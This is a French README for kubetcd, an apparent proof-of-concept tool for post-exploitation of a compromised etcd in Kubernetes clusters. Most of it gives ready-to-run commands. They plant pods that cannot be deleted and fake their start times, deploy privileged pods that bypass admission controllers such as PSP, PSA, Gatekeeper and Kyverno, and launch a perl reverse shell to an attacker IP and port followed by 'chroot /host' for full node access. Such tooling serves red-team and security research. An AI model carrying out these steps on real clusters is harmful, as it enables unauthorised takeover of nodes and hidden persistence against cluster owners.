kubetcd

Kubetcd

Wrapper autour de https://github.com/jpbetz/auger.

Il automatise le déploiement de pods en écrivant directement dans etcd. Il comprend plusieurs fonctions pour la post-exploitation d'etcd compromis.

Avertissement

[!WARNING]
Ceci est une preuve de concept (PoC), ne l'utilisez pas dans un environnement de production. Écrire directement dans etcd peut entraîner des incohérences ou des données corrompues, ce qui peut faire échouer la logique de kube-apiserver dans la récupération ou la manipulation des données d'etcd. Les environnements de test avec plusieurs nœuds peuvent être déployés avec KIND

Pourquoi ?

Le dépôt principal, auger, fournit les principales fonctionnalités de sérialisation et de désérialisation des entrées en protobuffer dans etcd. Kubetcd est une preuve de concept qui encapsule ces fonctionnalités pour rapprocher etcdctl du client habituel kubectl. Dans un scénario avec un etcd compromis, kubetcd tenterait d'utiliser des pods manipulés et privilégiés pour obtenir une persistance et un accès privilégié à l'un ou l'ensemble des hôtes du cluster. Notez que kubetcd ne prend actuellement en charge que les opérations sur les pods.

Prérequis

Kubetcd récupère les certificats et les clés pour s'authentifier auprès du service etcd depuis les chemins par défaut suivants :

• /etc/kubernetes/pki/etcd/ca.crt
• /etc/kubernetes/pki/etcd/server.crt
• /etc/kubernetes/pki/etcd/server.key (lisible uniquement par root)

De plus, le point de terminaison par défaut est défini sur 127.0.0.1:2379

Toutes les valeurs par défaut précédentes peuvent être modifiées via des paramètres.

De plus, etcdctl, le client pour etcd, doit être installé.

sudo apt install etcd-client

Installation

Clonez et compilez :

git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Problèmes connus

Vous pouvez rencontrer l'erreur suivante :

./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

Si c'est le cas, compilez kubetcd avec Golang 1.19.

Reportez-vous à https://github.com/jpbetz/auger pour les principales fonctionnalités d'auger, qui sont toujours présentes. Ce README ne détaille que les nouvelles fonctionnalités ajoutées par le wrapper :

Exécution de kubetcd

./kubetcd -h

Obtenir des objets

./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Créer un nouveau pod

templateName doit être un pod en cours d'exécution dans le namespace par défaut :

./kubetcd create pod <name> -t <templateName>

Vous pouvez écraser un pod en cours d'exécution en définissant simplement les mêmes valeurs name et templateName.

Changer l'image

./kubetcd create pod <name> -t <templateName> --image <image>

Altérer l'heure de démarrage

./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistance via des données incohérentes

ETCD enregistre les nouveaux pods dans /registry/pods/<namespace>/<name> mais les champs namespace et name peuvent être altérés. Ainsi, ces pods peuvent être listés avec kubectl mais pas supprimés.

./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Déployer sur un nœud spécifique

Déployez la charge de travail sur n'importe quel nœud à volonté :

./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Contourner les AdmissionControllers

Déployez des pods privilégiés dans des namespaces restreints. Cela contournerait les AdmissionControllers intégrés comme les PSP, les PSA ou toute autre politique basée sur des règles personnalisées telles que OPA Gatekeer ou Kyverno :

./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

L'option -P définira tout pod comme privileged et partagera les namespaces network, PID et IPC avec le nœud sous-jacent.

Reverse shell

Déployez des pods privilégiés dans des namespaces restreints et obtenez un shell distant :

./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

Cela lancera un reverse shell perl, qui est présent par défaut dans plusieurs images. Une fois que vous avez le reverse shell, changez le système de fichiers racine avec chroot /host pour obtenir un accès complet au nœud.

TODO

• Ajouter la prise en charge d'autres binaires - pas seulement perl - pour obtenir un shell distant
• Ajouter la prise en charge de l'utilisation de modèles provenant d'autres namespaces que celui par défaut
• Ajouter la prise en charge de la création/obtention/suppression d'éléments hors de la branche corev1